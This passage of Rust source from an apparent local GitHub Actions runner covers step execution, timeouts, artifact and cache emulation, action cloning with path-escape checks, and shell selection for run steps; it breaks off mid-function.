2545 let commands = crate::workflow_commands::parse_workflow_commands(output);
2546 for cmd in commands {
2547 match cmd {
2548 crate::workflow_commands::WorkflowCommand::SetOutput { name, value } => {
2549 if let Some(id) = step_id {
2550 step_outputs_map
2551 .entry(id.to_string())
2552 .or_default()
2553 .insert(name, value);
2554 }
2555 }
2556 crate::workflow_commands::WorkflowCommand::Error {
2557 message,
2558 file,
2559 line,
2560 col,
2561 ..
2562 } => {
2563 let loc = format_annotation_location(file.as_deref(), line, col);
2564 wrkflw_logging::error(&format!("{}{}", loc, message));
2565 }
2566 crate::workflow_commands::WorkflowCommand::Warning {
2567 message,
2568 file,
2569 line,
2570 col,
2571 ..
2572 } => {
2573 let loc = format_annotation_location(file.as_deref(), line, col);
2574 wrkflw_logging::warning(&format!("{}{}", loc, message));
2575 }
2576 crate::workflow_commands::WorkflowCommand::Notice {
2577 message,
2578 file,
2579 line,
2580 col,
2581 ..
2582 } => {
2583 let loc = format_annotation_location(file.as_deref(), line, col);
2584 wrkflw_logging::info(&format!("{}{}", loc, message));
2585 }
2586 crate::workflow_commands::WorkflowCommand::Debug { message } => {
2587 wrkflw_logging::debug(&format!("[debug] {}", message));
2588 }
2589 crate::workflow_commands::WorkflowCommand::AddMask { value } => {
2590 if let Some(masker) = secret_masker {
2591 masker.add_secret(value);
2592 }
2593 wrkflw_logging::debug("::add-mask:: applied (value redacted)");
2594 }
2595 _ => {}
2597 }
2598 }
2599}
2600
2601fn format_annotation_location(file: Option<&str>, line: Option<u32>, col: Option<u32>) -> String {
2602 match (file, line, col) {
2603 (Some(f), Some(l), Some(c)) => format!("{}:{}:{}: ", f, l, c),
2604 (Some(f), Some(l), None) => format!("{}:{}: ", f, l),
2605 (Some(f), None, None) => format!("{}: ", f),
2606 _ => String::new(),
2607 }
2608}
2609
2610async fn run_step_with_guards(
2613 step: &Step,
2614 step_idx: usize,
2615 job_env: &HashMap<String, String>,
2616 workflow: &WorkflowDefinition,
2617 step_exec_ctx: StepExecutionContext<'_>,
2618) -> Result<StepOutcome, ExecutionError> {
2619 let step_name = step
2620 .name
2621 .clone()
2622 .unwrap_or_else(|| format!("Step {}", step_idx + 1));
2623
2624 if let Some(if_cond) = &step.if_condition {
2626 let cond_ctx = step_exec_ctx.expr_context();
2627 let should_run = evaluate_condition_with_context(if_cond, &cond_ctx);
2628 if !should_run {
2629 wrkflw_logging::info(&format!(
2630 " {} Skipping step '{}' due to condition: {}",
2631 wrkflw_logging::symbols::SKIPPED,
2632 step_name,
2633 if_cond
2634 ));
2635 return Ok(StepOutcome::Skipped(StepResult::new(
2636 step_name,
2637 StepStatus::Skipped,
2638 format!("Skipped due to condition: {}", if_cond),
2639 )));
2640 }
2641 }
2642
2643 let step_result = if let Some(minutes) = step.timeout_minutes {
2647 let safe_mins = sanitize_timeout_minutes(Some(minutes), 360.0);
2648 let dur = std::time::Duration::from_secs_f64(safe_mins * 60.0);
2649 match tokio::time::timeout(dur, execute_step(step_exec_ctx)).await {
2650 Ok(result) => result,
2651 Err(_) => {
2652 wrkflw_logging::error(&format!(
2653 " Step '{}' exceeded timeout of {} minutes",
2654 step_name, minutes
2655 ));
2656 Ok(StepResult::new(
2657 step_name.clone(),
2658 StepStatus::Failure,
2659 format!("Step timed out after {} minutes", minutes),
2660 ))
2661 }
2662 }
2663 } else {
2664 execute_step(step_exec_ctx).await
2665 };
2666
2667 match step_result {
2671 Ok(mut result) => {
2672 let (abort_job, conclusion) = if result.status == StepStatus::Failure {
2673 if step.continue_on_error == Some(true) {
2674 wrkflw_logging::info(&format!(
2675 " Step '{}' failed but continue-on-error is set, continuing",
2676 result.name
2677 ));
2678 (false, StepStatus::Success)
2679 } else {
2680 (true, StepStatus::Failure)
2681 }
2682 } else {
2683 (false, result.status)
2684 };
2685 result.outcome = result.status;
2686 result.conclusion = conclusion;
2687 Ok(StepOutcome::Completed { result, abort_job })
2688 }
2689 Err(e) => {
2690 let (abort_job, conclusion) = if step.continue_on_error == Some(true) {
2691 wrkflw_logging::info(&format!(
2692 " Step '{}' errored but continue-on-error is set, continuing",
2693 step_name
2694 ));
2695 (false, StepStatus::Success)
2696 } else {
2697 (true, StepStatus::Failure)
2698 };
2699 Ok(StepOutcome::Completed {
2700 result: StepResult {
2701 name: step_name,
2702 status: StepStatus::Failure,
2703 output: format!("Error: {}", e),
2704 outcome: StepStatus::Failure,
2705 conclusion,
2706 },
2707 abort_job,
2708 })
2709 }
2710 }
2711}
2712
2713fn sanitize_timeout_minutes(raw: Option<f64>, default: f64) -> f64 {
2717 let mins = raw.unwrap_or(default);
2718 if mins.is_finite() && mins > 0.0 {
2719 mins.min(360.0 * 24.0)
2720 } else {
2721 default
2722 }
2723}
2724
2725struct StepExecutionContext<'a> {
2727 step: &'a workflow::Step,
2728 step_idx: usize,
2729 job_env: &'a HashMap<String, String>,
2730 job_user_env: &'a HashMap<String, String>,
2734 working_dir: &'a Path,
2735 runtime: &'a dyn ContainerRuntime,
2736 workflow: &'a WorkflowDefinition,
2737 runner_image: &'a str,
2738 verbose: bool,
2739 #[allow(dead_code)]
2740 matrix_combination: &'a Option<HashMap<String, Value>>,
2741 container_config: Option<&'a JobContainer>,
2742 workflow_defaults: Option<&'a workflow::Defaults>,
2743 job_defaults: Option<&'a workflow::Defaults>,
2744 step_outputs: &'a HashMap<String, HashMap<String, String>>,
2745 step_statuses: &'a HashMap<String, (String, String)>,
2746 job_status: &'a str,
2747 services: JobServices<'a>,
2748 pending_cache_saves: &'a std::sync::Mutex<Vec<PendingCacheSave>>,
2750}
2751
2752impl<'a> StepExecutionContext<'a> {
2753 fn expr_context(&self) -> crate::expression::ExpressionContext<'_> {
2755 crate::expression::ExpressionContext {
2756 env_context: self.job_env,
2757 step_outputs: self.step_outputs,
2758 matrix_combination: self.matrix_combination,
2759 step_statuses: self.step_statuses,
2760 job_status: self.job_status,
2761 secrets_context: self.services.secrets_context,
2762 needs_context: self.services.needs_context,
2763 needs_results: self.services.needs_results,
2764 user_env: self.job_user_env,
2765 }
2766 }
2767
2768 fn expr_context_with_env<'e>(
2772 &self,
2773 env: &'e HashMap<String, String>,
2774 user_env: &'e HashMap<String, String>,
2775 ) -> crate::expression::ExpressionContext<'e>
2776 where
2777 'a: 'e,
2778 {
2779 crate::expression::ExpressionContext {
2780 env_context: env,
2781 step_outputs: self.step_outputs,
2782 matrix_combination: self.matrix_combination,
2783 step_statuses: self.step_statuses,
2784 job_status: self.job_status,
2785 secrets_context: self.services.secrets_context,
2786 needs_context: self.services.needs_context,
2787 needs_results: self.services.needs_results,
2788 user_env,
2789 }
2790 }
2791}
2792
2793fn preprocess_with_value(value: &str, ctx: &StepExecutionContext<'_>) -> String {
2798 let expr_ctx = ctx.expr_context();
2799 crate::substitution::preprocess_expressions(value, ctx.working_dir, &expr_ctx)
2800 .unwrap_or_default()
2801}
2802
2803async fn handle_upload_artifact(
2805 step_name: &str,
2806 ctx: &StepExecutionContext<'_>,
2807) -> Result<StepResult, ExecutionError> {
2808 let with = ctx.step.with.as_ref();
2809 let name = with
2810 .and_then(|w| w.get("name"))
2811 .map(|s| preprocess_with_value(s, ctx))
2812 .unwrap_or_else(|| "artifact".to_string());
2813 let path_pattern = with
2814 .and_then(|w| w.get("path"))
2815 .map(|s| preprocess_with_value(s, ctx))
2816 .unwrap_or_default();
2817
2818 if path_pattern.is_empty() {
2819 return Ok(StepResult::new(
2820 step_name.to_string(),
2821 StepStatus::Failure,
2822 "Required input 'path' not provided for upload-artifact".to_string(),
2823 ));
2824 }
2825
2826 match ctx
2827 .services
2828 .artifact_store
2829 .upload(&name, &path_pattern, ctx.working_dir)
2830 .await
2831 {
2832 Ok(count) => {
2833 wrkflw_logging::info(&format!(
2834 " Uploaded artifact '{}': {} file(s)",
2835 name, count
2836 ));
2837 Ok(StepResult::new(
2838 step_name.to_string(),
2839 StepStatus::Success,
2840 format!("Uploaded artifact '{}': {} file(s)", name, count),
2841 ))
2842 }
2843 Err(e) => Ok(StepResult::new(
2844 step_name.to_string(),
2845 StepStatus::Failure,
2846 format!("Failed to upload artifact '{}': {}", name, e),
2847 )),
2848 }
2849}
2850
2851async fn handle_download_artifact(
2853 step_name: &str,
2854 ctx: &StepExecutionContext<'_>,
2855) -> Result<StepResult, ExecutionError> {
2856 let with = ctx.step.with.as_ref();
2857 let name = with
2858 .and_then(|w| w.get("name"))
2859 .map(|s| preprocess_with_value(s, ctx))
2860 .unwrap_or_default();
2861 let download_path = with
2862 .and_then(|w| w.get("path"))
2863 .map(|s| ctx.working_dir.join(preprocess_with_value(s, ctx)))
2864 .unwrap_or_else(|| ctx.working_dir.to_path_buf());
2865
2866 let canonical_ws = match ctx.working_dir.canonicalize() {
2870 Ok(p) => p,
2871 Err(_) => {
2872 return Ok(StepResult::new(
2873 step_name.to_string(),
2874 StepStatus::Failure,
2875 format!(
2876 "download-artifact: cannot verify path safety — \
2877 workspace '{}' could not be canonicalized",
2878 ctx.working_dir.display()
2879 ),
2880 ));
2881 }
2882 };
2883 let is_safe = if let Ok(canonical_dl) = download_path.canonicalize() {
2884 canonical_dl.starts_with(&canonical_ws)
2885 } else if let Some(parent) = download_path.parent() {
2886 parent
2887 .canonicalize()
2888 .map(|p| p.starts_with(&canonical_ws))
2889 .unwrap_or(false)
2890 } else {
2891 false
2892 };
2893 if !is_safe {
2894 return Ok(StepResult::new(
2895 step_name.to_string(),
2896 StepStatus::Failure,
2897 format!(
2898 "download-artifact path '{}' escapes workspace directory",
2899 download_path.display()
2900 ),
2901 ));
2902 }
2903
2904 if name.is_empty() {
2905 let names = ctx.services.artifact_store.list().await;
2907 let mut total = 0;
2908 for artifact_name in &names {
2909 let target = download_path.join(artifact_name);
2910 match ctx
2911 .services
2912 .artifact_store
2913 .download(artifact_name, &target)
2914 .await
2915 {
2916 Ok(c) => total += c,
2917 Err(e) => {
2918 return Ok(StepResult::new(
2919 step_name.to_string(),
2920 StepStatus::Failure,
2921 format!("Failed to download artifact '{}': {}", artifact_name, e),
2922 ));
2923 }
2924 }
2925 }
2926 wrkflw_logging::info(&format!(
2927 " Downloaded {} artifact(s), {} file(s) total",
2928 names.len(),
2929 total
2930 ));
2931 Ok(StepResult::new(
2932 step_name.to_string(),
2933 StepStatus::Success,
2934 format!(
2935 "Downloaded {} artifact(s), {} file(s) total",
2936 names.len(),
2937 total
2938 ),
2939 ))
2940 } else {
2941 match ctx
2942 .services
2943 .artifact_store
2944 .download(&name, &download_path)
2945 .await
2946 {
2947 Ok(count) => {
2948 wrkflw_logging::info(&format!(
2949 " Downloaded artifact '{}': {} file(s)",
2950 name, count
2951 ));
2952 Ok(StepResult::new(
2953 step_name.to_string(),
2954 StepStatus::Success,
2955 format!("Downloaded artifact '{}': {} file(s)", name, count),
2956 ))
2957 }
2958 Err(e) => Ok(StepResult::new(
2959 step_name.to_string(),
2960 StepStatus::Failure,
2961 format!("Failed to download artifact '{}': {}", name, e),
2962 )),
2963 }
2964 }
2965}
2966
2967async fn handle_cache_action(
2969 step_name: &str,
2970 ctx: &StepExecutionContext<'_>,
2971) -> Result<StepResult, ExecutionError> {
2972 let with = ctx.step.with.as_ref();
2973 let key = with
2974 .and_then(|w| w.get("key"))
2975 .map(|s| preprocess_with_value(s, ctx))
2976 .unwrap_or_default();
2977 let cache_path_raw = with
2978 .and_then(|w| w.get("path"))
2979 .map(|s| preprocess_with_value(s, ctx))
2980 .unwrap_or_default();
2981 let cache_paths: Vec<String> = cache_path_raw
2983 .lines()
2984 .map(|l| l.trim().to_string())
2985 .filter(|l| !l.is_empty())
2986 .collect();
2987 let restore_keys: Vec<String> = with
2988 .and_then(|w| w.get("restore-keys"))
2989 .map(|s| preprocess_with_value(s, ctx))
2990 .map(|s| {
2991 s.lines()
2992 .map(|l| l.trim().to_string())
2993 .filter(|l| !l.is_empty())
2994 .collect()
2995 })
2996 .unwrap_or_default();
2997
2998 if key.is_empty() || cache_paths.is_empty() {
2999 return Ok(StepResult::new(
3000 step_name.to_string(),
3001 StepStatus::Failure,
3002 "Required inputs 'key' and 'path' not provided for actions/cache".to_string(),
3003 ));
3004 }
3005
3006 let mut cache_hit: Option<String> = None;
3008 for cache_path in &cache_paths {
3009 let hit = ctx
3010 .services
3011 .cache_store
3012 .restore(&key, &restore_keys, cache_path, ctx.working_dir)
3013 .await;
3014 if cache_hit.is_none() {
3015 cache_hit = hit;
3016 }
3017 }
3018
3019 if let Some(output_path) = ctx.job_env.get("GITHUB_OUTPUT") {
3021 let hit_val = if cache_hit.is_some() { "true" } else { "false" };
3022 if let Err(e) = std::fs::OpenOptions::new()
3023 .append(true)
3024 .open(output_path)
3025 .and_then(|mut f| {
3026 use std::io::Write;
3027 writeln!(f, "cache-hit={}", hit_val)
3028 })
3029 {
3030 wrkflw_logging::warning(&format!(
3031 "Failed to write cache-hit to GITHUB_OUTPUT: {}",
3032 e
3033 ));
3034 }
3035 }
3036
3037 match &cache_hit {
3038 Some(matched_key) => {
3039 wrkflw_logging::info(&format!(" Cache restored (key: {})", matched_key));
3040 Ok(StepResult::new(
3041 step_name.to_string(),
3042 StepStatus::Success,
3043 format!("Cache restored (key: {})", matched_key),
3044 ))
3045 }
3046 None => {
3047 {
3051 let mut pending = ctx
3052 .pending_cache_saves
3053 .lock()
3054 .unwrap_or_else(|e| e.into_inner());
3055 for cache_path in &cache_paths {
3056 pending.push(PendingCacheSave {
3057 key: key.clone(),
3058 path: cache_path.clone(),
3059 workspace: ctx.working_dir.to_path_buf(),
3060 });
3061 }
3062 }
3063 let msg = format!("Cache miss for key '{}'. Save deferred to end of job.", key);
3064 wrkflw_logging::info(&format!(" {}", msg));
3065 Ok(StepResult::new(
3066 step_name.to_string(),
3067 StepStatus::Success,
3068 msg,
3069 ))
3070 }
3071 }
3072}
3073
3074async fn execute_step(ctx: StepExecutionContext<'_>) -> Result<StepResult, ExecutionError> {
3075 let step_name = ctx
3076 .step
3077 .name
3078 .clone()
3079 .unwrap_or_else(|| format!("Step {}", ctx.step_idx + 1));
3080
3081 if ctx.verbose {
3082 wrkflw_logging::info(&format!(" Executing step: {}", step_name));
3083 }
3084
3085 let mut step_env = ctx.job_env.clone();
3089 let mut step_user_env = ctx.job_user_env.clone();
3090
3091 for (key, value) in &ctx.step.env {
3093 let resolved_value = if let Some(secret_manager) = ctx.services.secret_manager {
3094 let mut substitution = SecretSubstitution::new(secret_manager);
3095 match substitution.substitute(value).await {
3096 Ok(resolved) => resolved,
3097 Err(e) => {
3098 wrkflw_logging::error(&format!(
3099 "Failed to resolve secrets in environment variable {}: {}",
3100 key, e
3101 ));
3102 value.clone()
3103 }
3104 }
3105 } else {
3106 value.clone()
3107 };
3108 let env_expr_ctx = ctx.expr_context_with_env(&step_env, &step_user_env);
3110 let resolved_value = match crate::substitution::preprocess_expressions(
3111 &resolved_value,
3112 ctx.working_dir,
3113 &env_expr_ctx,
3114 ) {
3115 Ok(r) => r,
3116 Err(_) => resolved_value,
3117 };
3118 step_env.insert(key.clone(), resolved_value.clone());
3119 step_user_env.insert(key.clone(), resolved_value);
3120 }
3121
3122 let step_result = if let Some(uses) = &ctx.step.uses {
3124 let action_info = ctx.workflow.resolve_action(uses);
3126
3127 if uses.starts_with("actions/checkout") {
3129 let current_dir = std::env::current_dir().map_err(|e| {
3131 ExecutionError::Execution(format!("Failed to get current dir: {}", e))
3132 })?;
3133
3134 copy_directory_contents(¤t_dir, ctx.working_dir)?;
3136
3137 let output = if ctx.verbose {
3139 let mut detailed_output =
3140 "Emulated checkout: Copied current directory to workspace\n\n".to_string();
3141
3142 detailed_output.push_str("Checkout Details:\n");
3144 detailed_output.push_str(" - Source: Local directory\n");
3145 detailed_output
3146 .push_str(&format!(" - Destination: {}\n", ctx.working_dir.display()));
3147
3148 if let Ok(entries) = std::fs::read_dir(¤t_dir) {
3150 let entry_count = entries.count();
3151 detailed_output.push_str(&format!(
3152 "\nCopied {} top-level items to workspace\n",
3153 entry_count
3154 ));
3155 }
3156
3157 detailed_output
3158 } else {
3159 "Emulated checkout: Copied current directory to workspace".to_string()
3160 };
3161
3162 if ctx.verbose {
3163 wrkflw_logging::info(
3164 "Emulated actions/checkout: copied project files to workspace",
3165 );
3166 }
3167
3168 StepResult::new(step_name, StepStatus::Success, output)
3169 } else if uses.starts_with("actions/upload-artifact") {
3170 handle_upload_artifact(&step_name, &ctx).await?
3171 } else if uses.starts_with("actions/download-artifact") {
3172 handle_download_artifact(&step_name, &ctx).await?
3173 } else if uses.starts_with("actions/cache") {
3174 handle_cache_action(&step_name, &ctx).await?
3175 } else {
3176 let prepared = prepare_action(&action_info, ctx.runtime).await?;
3178
3179 match prepared {
3180 PreparedAction::Composite => {
3181 if action_info.is_local {
3182 let action_path = Path::new(&action_info.repository);
3184 execute_composite_action(
3185 ctx.step,
3186 action_path,
3187 &step_env,
3188 &step_user_env,
3189 ctx.working_dir,
3190 ctx.runtime,
3191 ctx.runner_image,
3192 ctx.verbose,
3193 &ctx.services,
3194 ctx.pending_cache_saves,
3195 )
3196 .await?
3197 } else {
3198 let tempdir = tempfile::tempdir().map_err(|e| {
3200 ExecutionError::Execution(format!("Failed to create temp dir: {}", e))
3201 })?;
3202 let repo_url = format!("https://github.com/{}.git", action_info.repository);
3203 let repo_dir = tempdir.path().join("action");
3204 shallow_clone(&repo_url, &action_info.version, &repo_dir).await?;
3205 let action_dir = match &action_info.sub_path {
3207 Some(p) => {
3208 sanitize_sub_path(p).map_err(|e| {
3209 ExecutionError::Execution(format!(
3210 "Invalid sub_path for action '{}': {}",
3211 action_info.repository, e
3212 ))
3213 })?;
3214 let candidate = repo_dir.join(p);
3215 let canon_candidate = candidate.canonicalize().map_err(|e| {
3218 ExecutionError::Execution(format!(
3219 "Failed to canonicalize action sub_path: {}",
3220 e
3221 ))
3222 })?;
3223 let canon_repo = repo_dir.canonicalize().map_err(|e| {
3224 ExecutionError::Execution(format!(
3225 "Failed to canonicalize repo directory: {}",
3226 e
3227 ))
3228 })?;
3229 if !canon_candidate.starts_with(&canon_repo) {
3230 return Err(ExecutionError::Execution(format!(
3231 "Action sub_path escapes repository directory for action '{}'",
3232 action_info.repository
3233 )));
3234 }
3235 candidate
3236 }
3237 None => repo_dir,
3238 };
3239 execute_composite_action(
3241 ctx.step,
3242 &action_dir,
3243 &step_env,
3244 &step_user_env,
3245 ctx.working_dir,
3246 ctx.runtime,
3247 ctx.runner_image,
3248 ctx.verbose,
3249 &ctx.services,
3250 ctx.pending_cache_saves,
3251 )
3252 .await?
3253 }
3254 }
3255 PreparedAction::NativeDocker {
3256 image,
3257 entrypoint,
3258 args,
3259 } => {
3260 execute_native_docker_step(
3261 &ctx,
3262 &mut step_env,
3263 step_name,
3264 uses,
3265 image,
3266 entrypoint,
3267 args,
3268 )
3269 .await?
3270 }
3271 PreparedAction::Image(image) => {
3272 let mut cmd = Vec::new();
3274 let mut owned_strings: Vec<String> = Vec::new(); if uses.starts_with("actions-rs/") || uses.starts_with("dtolnay/rust-toolchain")
3278 {
3279 wrkflw_logging::info(
3280 "🔄 Detected Rust action - using system Rust installation",
3281 );
3282
3283 if uses.starts_with("actions-rs/toolchain@")
3285 || uses.starts_with("dtolnay/rust-toolchain@")
3286 {
3287 let rustc_version = tokio::process::Command::new("rustc")
3288 .arg("--version")
3289 .output()
3290 .await
3291 .map(|output| String::from_utf8_lossy(&output.stdout).to_string())
3292 .unwrap_or_else(|_| "not found".to_string());
3293
3294 wrkflw_logging::info(&format!(
3295 "🔄 Using system Rust: {}",
3296 rustc_version.trim()
3297 ));
3298
3299 return Ok(StepResult::new(
3301 step_name,
3302 StepStatus::Success,
3303 format!("Using system Rust: {}", rustc_version.trim()),
3304 ));
3305 }
3306
3307 if uses.starts_with("actions-rs/cargo@") {
3309 let cargo_version = tokio::process::Command::new("cargo")
3310 .arg("--version")
3311 .output()
3312 .await
3313 .map(|output| String::from_utf8_lossy(&output.stdout).to_string())
3314 .unwrap_or_else(|_| "not found".to_string());
3315
3316 wrkflw_logging::info(&format!(
3317 "🔄 Using system Rust/Cargo: {}",
3318 cargo_version.trim()
3319 ));
3320
3321 if let Some(with_params) = &ctx.step.with {
3323 if let Some(command) = with_params.get("command") {
3324 wrkflw_logging::info(&format!(
3325 "🔄 Found command parameter: {}",
3326 command
3327 ));
3328
3329 let mut real_command = format!("cargo {}", command);
3331
3332 if let Some(args) = with_params.get("args") {
3334 if !args.is_empty() {
3335 let resolved_args =
3337 crate::substitution::process_step_run(
3338 args,
3339 ctx.matrix_combination,
3340 )
3341 .trim()
3342 .to_string();
3343
3344 if !resolved_args.is_empty()
3347 && resolved_args != "--target"
3348 {
3349 real_command
3350 .push_str(&format!(" {}", resolved_args));
3351 }
3352 }
3353 }
3354
3355 wrkflw_logging::info(&format!(
3356 "🔄 Running actual command: {}",
3357 real_command
3358 ));
3359
3360 let mut cmd = tokio::process::Command::new("sh");
3362 cmd.arg("-c");
3363 cmd.arg(&real_command);
3364 cmd.current_dir(ctx.working_dir);
3365
3366 for (key, value) in &step_env {
3368 cmd.env(key, value);
3369 }
3370
3371 match cmd.output().await {
3372 Ok(output) => {
3373 let exit_code = output.status.code().unwrap_or(-1);
3374 let stdout =
3375 String::from_utf8_lossy(&output.stdout).to_string();
3376 let stderr =
3377 String::from_utf8_lossy(&output.stderr).to_string();
3378
3379 return Ok(StepResult::new(
3380 step_name,
3381 if exit_code == 0 {
3382 StepStatus::Success
3383 } else {
3384 StepStatus::Failure
3385 },
3386 format!("{}\n{}", stdout, stderr),
3387 ));
3388 }
3389 Err(e) => {
3390 return Ok(StepResult::new(
3391 step_name,
3392 StepStatus::Failure,
3393 format!("Failed to execute command: {}", e),
3394 ));
3395 }
3396 }
3397 }
3398 }
3399 }
3400 }
3401
3402 if action_info.is_docker {
3403 cmd.push("sh");
3405 cmd.push("-c");
3406 cmd.push("echo 'Executing Docker action'");
3407 } else if action_info.is_local {
3408 cmd.push("sh");
3411 cmd.push("-c");
3412 cmd.push("echo 'Local action executed'");
3413 } else {
3414 if let Err(e) = emulation::handle_special_action(uses).await {
3416 wrkflw_logging::warning(&format!(
3417 "Special action handling failed: {}",
3418 e
3419 ));
3420 }
3421
3422 let hide_action_value = ctx
3424 .job_env
3425 .get("WRKFLW_HIDE_ACTION_MESSAGES")
3426 .cloned()
3427 .unwrap_or_else(|| "not set".to_string());
3428
3429 wrkflw_logging::debug(&format!(
3430 "WRKFLW_HIDE_ACTION_MESSAGES value: {}",
3431 hide_action_value
3432 ));
3433
3434 let hide_messages = hide_action_value == "true";
3435 wrkflw_logging::debug(&format!("Should hide messages: {}", hide_messages));
3436
3437 if !hide_messages {
3439 wrkflw_logging::info(&format!("Would execute GitHub action: {}", uses));
3440 }
3441
3442 let mut should_run_real_command = false;
3444 let mut real_command_parts = Vec::new();
3445
3446 if let Some(with_params) = &ctx.step.with {
3448 if let Some(cmd) = with_params.get("command") {
3450 if ctx.verbose {
3451 wrkflw_logging::info(&format!(
3452 "🔄 Found command parameter: {}",
3453 cmd
3454 ));
3455 }
3456
3457 if uses.contains("cargo") || uses.contains("rust") {
3459 real_command_parts.push("cargo".to_string());
3461 real_command_parts.push(cmd.clone());
3462 should_run_real_command = true;
3463 } else if uses.contains("node") || uses.contains("npm") {
3464 if cmd == "npm" || cmd == "yarn" || cmd == "pnpm" {
3466 real_command_parts.push(cmd.clone());
3467 } else {
3468 real_command_parts.push("npm".to_string());
3469 real_command_parts.push("run".to_string());
3470 real_command_parts.push(cmd.clone());
3471 }
3472 should_run_real_command = true;
3473 } else if uses.contains("python") || uses.contains("pip") {
3474 if cmd == "pip" {
3476 real_command_parts.push("pip".to_string());
3477 } else {
3478 real_command_parts.push("python".to_string());
3479 real_command_parts.push("-m".to_string());
3480 real_command_parts.push(cmd.clone());
3481 }
3482 should_run_real_command = true;
3483 } else {
3484 real_command_parts.push(cmd.clone());
3486 should_run_real_command = true;
3487 }
3488
3489 if let Some(args) = with_params.get("args") {
3491 if !args.is_empty() {
3492 let resolved_args = crate::substitution::process_step_run(
3494 args,
3495 ctx.matrix_combination,
3496 )
3497 .trim()
3498 .to_string();
3499
3500 if !resolved_args.is_empty() {
3502 real_command_parts.push(resolved_args);
3503 }
3504 }
3505 }
3506 }
3507 }
3508
3509 if should_run_real_command && !real_command_parts.is_empty() {
3510 let command_str = real_command_parts.join(" ");
3512 wrkflw_logging::info(&format!(
3513 "🔄 Running actual command: {}",
3514 command_str
3515 ));
3516
3517 cmd.clear();
3519 cmd.push("sh");
3520 cmd.push("-c");
3521 owned_strings.push(command_str);
3522 cmd.push(owned_strings.last().unwrap());
3523 } else {
3524 cmd.clear();
3526 cmd.push("sh");
3527 cmd.push("-c");
3528
3529 let escaped_uses = uses.replace('\'', "'\\''");
3530 let echo_msg =
3531 format!("echo 'Would execute GitHub action: {}'", escaped_uses);
3532 owned_strings.push(echo_msg);
3533 cmd.push(owned_strings.last().unwrap());
3534 }
3535 }
3536
3537 if let Some(with_params) = &ctx.step.with {
3539 for (key, value) in with_params {
3540 step_env.insert(format!("INPUT_{}", key.to_uppercase()), value.clone());
3541 }
3542 }
3543
3544 let container_workspace = Path::new("/github/workspace");
3545 let mount_ctx = prepare_step_container_context(
3546 &mut step_env,
3547 ctx.job_env,
3548 ctx.container_config,
3549 );
3550 let volumes = mount_ctx.build_volumes(ctx.working_dir, container_workspace);
3551 let env_vars: Vec<(&str, &str)> = step_env
3552 .iter()
3553 .map(|(k, v)| (k.as_str(), v.as_str()))
3554 .collect();
3555
3556 let output = ctx
3557 .runtime
3558 .run_container(
3559 &image,
3560 &cmd.to_vec(),
3561 &env_vars,
3562 container_workspace,
3563 &volumes,
3564 None,
3565 )
3566 .await
3567 .map_err(|e| ExecutionError::Runtime(format!("{}", e)))?;
3568
3569 let output_text = if ctx.verbose
3571 && output.exit_code == 0
3572 && uses.contains('/')
3573 && !uses.starts_with("./")
3574 {
3575 let mut detailed_output =
3576 format!("Would execute GitHub action: {}\n", uses);
3577
3578 if let Some(with_params) = &ctx.step.with {
3580 detailed_output.push_str("\nAction inputs:\n");
3581 for (key, value) in with_params {
3582 detailed_output.push_str(&format!(" {}: {}\n", key, value));
3583 }
3584 }
3585
3586 detailed_output.push_str("\nEnvironment variables:\n");
3589 for (key, value) in step_env.iter() {
3590 if key.starts_with("GITHUB_") {
3591 detailed_output.push_str(&format!(" {}: {}\n", key, value));
3592 } else if key.starts_with("INPUT_") {
3593 detailed_output.push_str(&format!(" {}: ***\n", key));
3594 }
3595 }
3596
3597 detailed_output
3599 .push_str(&format!("\nOutput:\n{}\n{}", output.stdout, output.stderr));
3600 detailed_output
3601 } else {
3602 format!("{}\n{}", output.stdout, output.stderr)
3603 };
3604
3605 if output.exit_code != 0 && (uses.contains("cargo") || uses.contains("rust")) {
3607 let mut error_details = format!(
3608 "\n\n{} Command failed with exit code: {}\n",
3609 wrkflw_logging::symbols::FAILURE,
3610 output.exit_code
3611 );
3612
3613 error_details.push_str(&format!("Command: {}\n", cmd.join(" ")));
3614
3615 error_details.push_str("\nEnvironment:\n");
3616 for (key, value) in step_env.iter() {
3617 if key.starts_with("GITHUB_") || key.starts_with("RUST") {
3618 error_details.push_str(&format!(" {}: {}\n", key, value));
3619 } else if key.starts_with("INPUT_") {
3620 error_details.push_str(&format!(" {}: ***\n", key));
3621 }
3622 }
3623
3624 error_details.push_str("\nDetailed output:\n");
3625 error_details.push_str(&output.stdout);
3626 error_details.push_str(&output.stderr);
3627
3628 return Ok(StepResult::new(
3629 step_name,
3630 StepStatus::Failure,
3631 format!("{}\n{}", output_text, error_details),
3632 ));
3633 }
3634
3635 StepResult::new(
3636 step_name,
3637 if output.exit_code == 0 {
3638 StepStatus::Success
3639 } else {
3640 StepStatus::Failure
3641 },
3642 format!(
3643 "Exit code: {}\n{}\n{}",
3644 output.exit_code, output.stdout, output.stderr
3645 ),
3646 )
3647 }
3648 }
3649 }
3650 } else if let Some(run) = &ctx.step.run {
3651 let mut output = String::new();
3653 let mut status = StepStatus::Success;
3654 let mut error_details = None;
3655
3656 let resolved_run = if let Some(secret_manager) = ctx.services.secret_manager {
3658 let mut substitution = SecretSubstitution::new(secret_manager);
3659 match substitution.substitute(run).await {
3660 Ok(resolved) => resolved,
3661 Err(e) => {
3662 return Ok(StepResult::new(
3663 step_name,
3664 StepStatus::Failure,
3665 format!("Secret substitution failed: {}", e),
3666 ));
3667 }
3668 }
3669 } else {
3670 run.clone()
3671 };
3672
3673 let run_expr_ctx = ctx.expr_context();
3675 let resolved_run = match crate::substitution::preprocess_expressions(
3676 &resolved_run,
3677 ctx.working_dir,
3678 &run_expr_ctx,
3679 ) {
3680 Ok(r) => r,
3681 Err(e) => {
3682 return Ok(StepResult::new(
3683 step_name,
3684 StepStatus::Failure,
3685 format!("Expression substitution failed: {}", e),
3686 ));
3687 }
3688 };
3689
3690 let is_cargo_cmd = resolved_run.trim().starts_with("cargo");
3692
3693 let effective_shell = ctx
3695 .step
3696 .shell
3697 .as_deref()
3698 .or_else(|| {
3699 ctx.job_defaults
3700 .and_then(|d| d.run.as_ref()?.shell.as_deref())
3701 })
3702 .or_else(|| {
3703 ctx.workflow_defaults
3704 .and_then(|d| d.run.as_ref()?.shell.as_deref())
3705 })
3706 .unwrap_or("bash");
3707
3708 let cmd_parts = match effective_shell {
3709 "bash" => vec![
3710 "bash",
3711 "--noprofile",
3712 "--norc",
3713 "-e",
3714 "-o",
3715 "pipefail",
3716 "-c",
3717 &resolved_run,
3718 ],
3719 "sh" => vec!["sh", "-e", "-c", &resolved_run],
3720 "python" => vec!["python", "-c", &resolved_run],
3721 "pwsh" | "powershell" => vec!["pwsh", "-command", &resolved_run],
3722 other => {
